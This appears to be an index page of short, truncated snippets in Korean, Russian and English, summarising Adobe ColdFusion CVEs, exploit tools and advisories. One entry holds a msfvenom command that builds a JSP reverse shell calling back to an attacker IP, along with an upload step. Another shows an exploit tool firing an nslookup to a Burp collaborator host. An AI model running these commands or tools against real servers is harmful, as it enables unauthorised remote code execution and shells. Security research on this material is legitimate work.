CVE-2017-3066

CVE-2017-3066 설명 Adobe ColdFusion은 Action Message FormatAMF을 사용합니다. AMF 프로토콜은 사용자 정의 이진 직렬화 프로토콜입니다. 두 가지 형식AMF0 및 AMF3이 있습니다. Action 메시지는 헤더와 바디로 구성됩니다. 다양한 언어로 AMF 구현이 존재합니다. Java의 경우 Adobe BlazeDS현재 Apache BlazeDS가 있으며, 이는 Adobe ColdFusion에서도 사용됩니다. Adobe ColdFusion은 Apache BlazeDS 라이브러리에서 신뢰할...

CVE-2024-20767

CVE-2024-20767 CVE-2024-20767 - 부적절한 접근 제어 취약점을 이용한 Adobe ColdFusion 임의 파일 시스템 읽기 자세한 내용은 ma4ter 의 블로그 게시물을 참조하십시오: Adobe ColdFusion任意文件读取漏洞CVE-2024-20767分析 영향을 받는 제품 및 버전:...

ColdFusion_EXp

CVE-2023-29298/CVE-2023-26360 취약점 악용 리버스 셸 도구 소개 취약점 원리는 우리가 구성한 CFML 데이터 클라이언트 요청 데이터가 서버의 coldfusion-out.log에 저장된다는 것입니다. 이 디렉터리는 요청 오류 정보를 기록하며, coldfusion-out.log 파일 안에 우리가 작성한 코드가 들어가게 됩니다. 그런 다음 classname을 사용하여 이 로그 파일을 읽고 실행하여 코드 실행 효과를 얻습니다. 여기에 한 가지 아이디어가 있습니다. 악성 class를 서버에 업로드한 다음 이...

CVE-2026-48282

CVE-2026-48282-POC CVE-2026-48282 — это уязвимость типа path traversal в Remote Development Service RDS от Adobe ColdFusion с оценкой CVSS 10.0 Critical. Она позволяет неавторизованным атакующим читать и записывать произвольные файлы через конечную точку /CFIDE/main/ide.cfm, что приводит к Remote...

Adobe ColdFusion - Cross-Site Scripting

Adobe Coldfusion versions 2016 update 16 and earlier, 2018 update 10 and earlier and 2021.0.0.323925 are affected by an Improper Neutralization of Input During Web Page Generation 'Cross-site Scripting' vulnerability. An attacker could abuse this vulnerability to execute arbitrary JavaScript code...

Adobe Coldfusion <=8.0.1 - Cross-Site Scripting

Adobe ColdFusion Server 8.0.1 and earlier contain multiple cross-site scripting vulnerabilities which allow remote attackers to inject arbitrary web script or HTML via 1 the startRow parameter to administrator/logviewer/searchlog.cfm, or the query string to 2 wizards/common/logintowizard.cfm, 3...

Adobe Coldfusion - Authentication Bypass

Adobe ColdFusion versions 2023.5 and earlier and 2021.11 and earlier are affected by an Improper Access Control vulnerability that could result in a Security feature bypass. An unauthenticated attacker could leverage this vulnerability to access the administration CFM and CFC endpoints...

Adobe ColdFusion - RDS Arbitrary File Write

ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Improper Limitation of a Pathname to a Restricted Directory 'Path Traversal' vulnerability that could lead to arbitrary code execution in the context of the current user. The RDS FILEIO WRITE operation allows unauthenticated...

cve-2018-15961

CVE-2018-15961 Это часть Cved: инструмент для управления уязвимыми Docker-контейнерами. Cved: https://github.com/git-rep-src/cved Источник образа: https://github.com/cved-sources/cve-2018-15961 Автор образа: https://bintray.com/eaps/coldfusion/cf%3Acoldfusion/2018.0.0...

ColdFusionPwn

ColdFusionPwn Adobe Coldfusion 11/12를 대상으로 하는 CVE-2017-3066 공격 도구입니다. 설명 이 도구를 사용하면 허용된 클래스에 대한 입력 검증 누락을 악용하기 위한 직렬화된 AMF 페이로드를 생성할 수 있습니다. 자세한 내용은 블로그 게시물을 참조하세요. 설치 최신 버전의 ysoserial을 받으세요. 릴리스에서 ColdFusionPwn을 받으세요. 사용법 root@kitploit: java -cp...

clusterd

clusterd == clusterd — это набор инструментов с открытым исходным кодом для атаки на серверы приложений. Созданный из-за разочарования в текущих методах фингерпринтинга и эксплуатации, clusterd автоматизирует этапы фингерпринтинга, разведки и эксплуатации атаки на сервер приложений. Смотрите вики...

CVE-2023-26360-adobe-coldfusion-rce-exploit

Adobe ColdFusion의 심각한 취약점 CVE-2023-26359, CVE-2023-26360 및 CVE-2023-26359 2023년 3월 8일, Adobe는 인기 있는 웹 애플리케이션 개발 플랫폼인 Adobe ColdFusion의 심각한 취약점을 해결하기 위해 보안 업데이트를 발표했습니다. 부적절한 접근 제어 및 안전하지 않은 역직렬화로 분류된 이러한 취약점은 공격자가 신뢰할 수 없는 데이터가 포함된 특수하게 조작된 요청을 ColdFusion 서버에 전송할 때 무단 원격 코드 실행RCE으로 이어집니다. 이 취약점의...

CVE-2009-2265

Версия: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp Пример :...

Adobe_ColdFusion_RCE_Unauthenticated

CVE-2023-26360 — Неаутентифицированное удаленное выполнение кода Adobe ColdFusion Реализация эксплойта для удаленного выполнения кода для CVE-2023-26360 на Python, основанная на анализе оригинального модуля Metasploit и предыдущей работы jakabakos. Почему это существует PoC от jakabakos пытается...

coldfusion-amf

coldfusion-amf Coldfusion AMF PWN root@kitploit: pwn http://localhost "nslookup burpcollab.net"...

CVE-2009-2265

CVE-2009-2265 - Adobe ColdFusion 8 파일 업로드 RCE CVE-2009-2265 익스플로잇에 대한 POC의 Rust 구현, Adobe ColdFusion 8을 대상으로 합니다. 취약점 개요 이 취약점은 인증되지 않은 공격자가 Adobe ColdFusion 8을 실행하는 서버의 웹 접근 가능 디렉터리에 임의의 파일을 업로드하여 원격 코드 실행RCE을 유발할 수 있게 합니다. 기술적 세부사항 취약점 : 널 바이트 주입을 통한 디렉터리 트래버설 구성 요소 : FCKeditor upload.cfm 커넥터...

Adobe ColdFusion WDDX Deserialization Gadgets

Adobe ColdFusion versions 2023.5 and earlier and 2021.11 and earlier are affected by an Deserialization of Untrusted Data vulnerability that could result in Arbitrary code execution. Exploitation of this issue does not require user interaction. id: CVE-2023-44353 info: name: Adobe ColdFusion WDDX...

Adobe ColdFusion - Arbitrary File Read

ColdFusion versions 2023.6, 2021.12 and earlier are affected by an Improper Access Control vulnerability that could lead to arbitrary file system read. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized access to sensitive files and perform arbitrary...

Adobe Coldfusion - Cross-Site Scripting

Adobe ColdFusion versions 2023.5 and earlier and 2021.11 and earlier are affected by a reflected Cross-Site Scripting XSS vulnerability. If an unauthenticated attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within th...

Vulnerabilities in Adobe ColdFusion

Adobe has identified several vulnerabilities in Adobe ColdFusion. These vulnerabilities include a stored Cross-Site Scripting XSS vulnerability, where an attacker with low privileges can inject malicious scripts into form fields, which are then executed in the user’s browser. There is also a...